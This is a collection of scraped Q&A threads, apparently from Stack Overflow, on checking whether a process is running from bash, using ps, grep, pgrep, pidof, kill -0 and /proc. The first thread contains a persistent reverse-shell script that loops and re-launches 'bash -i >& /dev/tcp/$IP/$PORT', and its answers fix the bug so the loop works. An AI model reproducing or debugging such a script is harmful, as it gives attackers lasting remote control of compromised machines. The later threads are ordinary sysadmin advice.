So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.
This question already has an answer here:
Run current bash script in background
(1 answer)
UNIX script to check if httpd service is on or off and if off send a email [duplicate]
Closed 6 years ago.
Script to check if httpd is on or off
#!/bin/bash
service=service_name
email=user#domain.com
host=`hostname -f`
if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 ))
then
echo "$service is running"
else
/etc/init.d/$service start
if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 ))
then
subject="$service at $host has been started"
echo "$service at $host wasn't running and has been started" | mail -s "$subject" $email
else
subject="$service at $host is not running"
echo "$service at $host is stopped and cannot be started!!!" | mail -s "$subject" $email
fi
fi
How do I make this script run in background so that it keeps checking if httpd service is on or off and emails a message if it goes off !! ( PS-: I DON'T WANT TO MAKE THE SCRIPT AS A CRONJOB) just like a daemon process which runs in background!!
Please Help
If you launch the script with nohup it will run as a daemon.
nohup script.sh &
I am trying to find out of two process are running in linux where my oracle is installed pmon and smon
i used below command for it
ps -ae | grep pmon > /dev/null;echo $?
and
ps -ae | grep smon > /dev/null;echo $?
now i want to optimize both commands in to single
i know there is option in grep as below
ps -ae | grep 'pmon\|smon' > /dev/null;echo $?
but problem here is if any of process running it returns 0 error code
but i want an AND based search instead. Command should return 0 only if both process running.
I would suggest you used something like this:
if ps -ae | grep -q pmon && ps -ae | grep -q smon; then
echo "pmon and smon are running"
fi
The -q switch to grep prevents any output so you don't have to redirect to /dev/null yourself. If you have pgrep, you may be able to use that instead of piping ps to grep.
Of course, you could "optimise" this onto one line, optionally using another && instead of an if but I really don't see the advantage!
You can try this:
pgrep pmon > /dev/null && pgrep smon > /dev/null; echo $?
or
pgrep pmon > /dev/null && pgrep smon > /dev/null && echo both running
Try this :
ps -ae | egrep 'pmon,smon'
I am having great difficulty in understanding what shows up on ps command. To test my understanding I created below dummy script
#!/bin/bash
for i in {1..100000}
do
date -u
date -u
date -u
done
while running this script I opened a new terminal and executed repeatedly
ps -eaf | grep date | grep -v grep
and I was able to date process in the output.
I later changed dummy script by replacing date -u with echo "what is going on"
#!/bin/bash
for i in {1..100000}
do
echo "What is going on"
echo "What is going on"
echo "What is going on"
done
while running the updated dummy script, I opened a new terminal and executed repeatedly
ps -eaf | grep echo | grep -v grep
and echo was never shown in output. Why is this? I suspect the reason is the script being a bash script, may be it is using builtin echo therefore it was not displayed in ps output. Am I correct? What am I missing here?
echo is a builtin in bash:
$ type echo
echo is a shell builtin
That means that a new process is not created when echo is run. All the work is done by the bash process instead, which is way more efficient.
You can run the non-builtin echo explicitly:
command echo "What is going on"
This forks and execs /bin/echo instead, letting it show up in ps.
I need a platform independent (Linux/Unix|OSX) shell/bash command that will determine if a specific process is running. e.g. mysqld, httpd...
What is the simplest way/command to do this?
While pidof and pgrep are great tools for determining what's running, they are both, unfortunately, unavailable on some operating systems. A definite fail safe would be to use the following: ps cax | grep command
The output on Gentoo Linux:
14484 ? S 0:00 apache2
14667 ? S 0:00 apache2
19620 ? Sl 0:00 apache2
21132 ? Ss 0:04 apache2
The output on OS X:
42582 ?? Z 0:00.00 (smbclient)
46529 ?? Z 0:00.00 (smbclient)
46539 ?? Z 0:00.00 (smbclient)
46547 ?? Z 0:00.00 (smbclient)
46586 ?? Z 0:00.00 (smbclient)
46594 ?? Z 0:00.00 (smbclient)
On both Linux and OS X, grep returns an exit code so it's easy to check if the process was found or not:
#!/bin/bash
ps cax | grep httpd > /dev/null
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
Furthermore, if you would like the list of PIDs, you could easily grep for those as well:
ps cax | grep httpd | grep -o '^[ ]*[0-9]*'
Whose output is the same on Linux and OS X:
3519 3521 3523 3524
The output of the following is an empty string, making this approach safe for processes that are not running: echo ps cax | grep aasdfasdf | grep -o '^[ ]*[0-9]*'
This approach is suitable for writing a simple empty string test, then even iterating through the discovered PIDs.
#!/bin/bash
PROCESS=$1
PIDS=`ps cax | grep $PROCESS | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
echo "Process not running." 1>&2
exit 1
else
for PID in $PIDS; do
echo $PID
done
fi
You can test it by saving it to a file (named "running") with execute permissions (chmod +x running) and executing it with a parameter: ./running "httpd"
#!/bin/bash
ps cax | grep httpd
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
WARNING!!!
Please keep in mind that you're simply parsing the output of ps ax which means that, as seen in the Linux output, it is not simply matching on processes, but also the arguments passed to that program. I highly recommend being as specific as possible when using this method (e.g. ./running "mysql" will also match 'mysqld' processes). I highly recommend using which to check against a full path where possible.
References:
http://linux.about.com/od/commands/l/blcmdl1_ps.htm
http://linux.about.com/od/commands/l/blcmdl1_grep.htm
You SHOULD know the PID !
Finding a process by trying to do some kind of pattern recognition on the process arguments (like pgrep "mysqld") is a strategy that is doomed to fail sooner or later. What if you have two mysqld running? Forget that approach. You MAY get it right temporarily and it MAY work for a year or two but then something happens that you haven't thought about.
Only the process id (pid) is truly unique.
Always store the pid when you launch something in the background. In Bash this can be done with the $! Bash variable. You will save yourself SO much trouble by doing so.
How to determine if process is running (by pid)
So now the question becomes how to know if a pid is running.
Simply do:
ps -o pid= -p <pid>
This is POSIX and hence portable. It will return the pid itself if the process is running or return nothing if the process is not running. Strictly speaking the command will return a single column, the pid, but since we've given that an empty title header (the stuff immediately preceding the equals sign) and this is the only column requested then the ps command will not use header at all. Which is what we want because it makes parsing easier.
This will work on Linux, BSD, Solaris, etc.
Another strategy would be to test on the exit value from the above ps command. It should be zero if the process is running and non-zero if it isn't. The POSIX spec says that ps must exit >0 if an error has occurred but it is unclear to me what constitutes 'an error'. Therefore I'm not personally using that strategy although I'm pretty sure it will work as well on all Unix/Linux platforms.
On most Linux distributions, you can use pidof(8).
It will print the process ids of all running instances of specified processes, or nothing if there are no instances running.
For instance, on my system (I have four instances of bashand one instance of remmina running):
$ pidof bash remmina
6148 6147 6144 5603 21598
On other Unices, pgrep or a combination of ps and grep will achieve the same thing, as others have rightfully pointed out.
This should work on most flavours of Unix, BSD and Linux:
PATH=/usr/ucb:${PATH} ps aux | grep httpd | grep -v grep
Tested on:
SunOS 5.10 [Hence the PATH=...]
Linux 2.6.32 (CentOS)
Linux 3.0.0 (Ubuntu)
Darwin 11.2.0
FreeBSD 9.0-STABLE
Red Hat Enterprise Linux ES release 4
Red Hat Enterprise Linux Server release 5
The simpliest way is to use ps and grep:
command="httpd"
running=`ps ax | grep -v grep | grep $command | wc -l`
if [ running -gt 0 ]; then
echo "Command is running"
else
echo "Command is not running"
fi
If your command has some command arguments, then you can also put more 'grep cmd_arg1' after 'grep $command' to filter out other possible processes that you are not interested in.
Example: show me if any java process with supplied argument:
-Djava.util.logging.config.file=logging.properties
is running
ps ax | grep -v grep | grep java | grep java.util.logging.config.file=logging.properties | wc -l
Putting the various suggestions together, the cleanest version I was able to come up with (without unreliable grep which triggers parts of words) is:
kill -0 $(pidof mysql) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
kill -0 doesn't kill the process but checks if it exists and then returns true, if you don't have pidof on your system, store the pid when you launch the process:
$ mysql &
$ echo $! > pid_stored
then in the script:
kill -0 $(cat pid_stored) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
Just a minor addition: if you add the -c flag to ps, you don't need to remove the line containing the grep process with grep -v afterwards. I.e.
ps acux | grep cron
is all the typing you'll need on a bsd-ish system (this includes MacOSX) You can leave the -u away if you need less information.
On a system where the genetics of the native ps command point back to SysV, you'd use
ps -e |grep cron
or
ps -el |grep cron
for a listing containing more than just pid and process name. Of course you could select the specific fields to print out using the -o <field,field,...> option.
I use pgrep -l httpd but not sure it is present on any platform...
Who can confirm on OSX?
This approach can be used in case commands 'ps', 'pidof' and rest are not available.
I personally use procfs very frequently in my tools/scripts/programs.
egrep -m1 "mysqld$|httpd$" /proc/[0-9]*/status | cut -d'/' -f3
Little explanation what is going on:
-m1 - stop process on first match
"mysqld$|httpd$" - grep will match lines which ended on mysqld OR httpd
/proc/[0-9]* - bash will match line which started with any number
cut - just split the output by delimiter '/' and extract field 3
You should know the PID of your process.
When you launch it, its PID will be recorded in the $! variable. Save this PID into a file.
Then you will need to check if this PID corresponds to a running process. Here's a complete skeleton script:
FILE="/tmp/myapp.pid"
if [ -f $FILE ];
then
PID=$(cat $FILE)
else
PID=1
fi
ps -o pid= -p $PID
if [ $? -eq 0 ]; then
echo "Process already running."
else
echo "Starting process."
run_my_app &
echo $! > $FILE
fi
Based on the answer of peterh. The trick for knowing if a given PID is running is in the ps -o pid= -p $PID instruction.
None of the answers worked for me, so heres mine:
process="$(pidof YOURPROCESSHERE|tr -d '\n')"
if [[ -z "${process// }" ]]; then
echo "Process is not running."
else
echo "Process is running."
fi
Explanation:
|tr -d '\n'
This removes the carriage return created by the terminal. The rest can be explained by this post.
This prints the number of processes whose basename is "chromium-browser":
ps -e -o args= | awk 'BEGIN{c=0}{
if(!match($1,/^\[.*\]$/)){sub(".*/","",$1)} # Do not strip process names enclosed by square brackets.
if($1==cmd){c++}
}END{print c}' cmd="chromium-browser"
If this prints "0", the process is not running. The command assumes process path does not contain breaking space. I have not tested this with suspended processes or zombie processes.
Tested using gwak as the awk alternative in Linux.
Here is a more versatile solution with some example usage:
#!/bin/sh
isProcessRunning() {
if [ "${1-}" = "-q" ]; then
local quiet=1;
shift
else
local quiet=0;
fi
ps -e -o pid,args= | awk 'BEGIN{status=1}{
name=$2
if(name !~ /^\[.*\]$/){sub(".*/","",name)} # strip dirname, if process name is not enclosed by square brackets.
if(name==cmd){status=0; if(q){exit}else{print $0}}
}END{exit status}' cmd="$1" q=$quiet
}
process='chromium-browser'
printf "Process \"${process}\" is "
if isProcessRunning -q "$process"
then printf "running.\n"
else printf "not running.\n"; fi
printf "Listing of matching processes (PID and process name with command line arguments):\n"
isProcessRunning "$process"
Here is my version. Features:
checks for exact program name (first argument of the function). search for "mysql" will not match running "mysqld"
searches program arguments (second argument of the function)
script:
#!/bin/bash
# $1 - cmd
# $2 - args
# return: 0 - no error, running; 1 - error, not running
function isRunning() {
for i in $(pidof $1); do
cat /proc/$i/cmdline | tr '\000' ' ' | grep -F -e "$2" 1>&2> /dev/null
if [ $? -eq 0 ]; then
return 0
fi
done
return 1
}
isRunning java "-Djava.util.logging.config.file=logging.properties"
if [ $? -ne 0 ]; then
echo "not running, starting..."
fi
[ $pid ] && [ -d /proc/$pid ] && command if you know the pid
The following shell function, being only based on POSIX standard commands and options should work on most (if not any) Unix and linux system. :
isPidRunning() {
cmd=`
PATH=\`getconf PATH\` export PATH
ps -e -o pid= -o comm= |
awk '$2 ~ "^.*/'"$1"'$" || $2 ~ "^'"$1"'$" {print $1,$2}'
`
[ -n "$cmd" ] &&
printf "%s is running\n%s\n\n" "$1" "$cmd" ||
printf "%s is not running\n\n" $1
[ -n "$cmd" ]
}
$ isPidRunning httpd
httpd is running
586 /usr/apache/bin/httpd
588 /usr/apache/bin/httpd
$ isPidRunning ksh
ksh is running
5230 ksh
$ isPidRunning bash
bash is not running
Note that it will choke when passed the dubious "0]" command name and will also fail to identify processes having an embedded space in their names.
Note too that the most upvoted and accepted solution demands non portable ps options and gratuitously uses a shell that is, despite its popularity, not guaranteed to be present on every Unix/Linux machine (bash)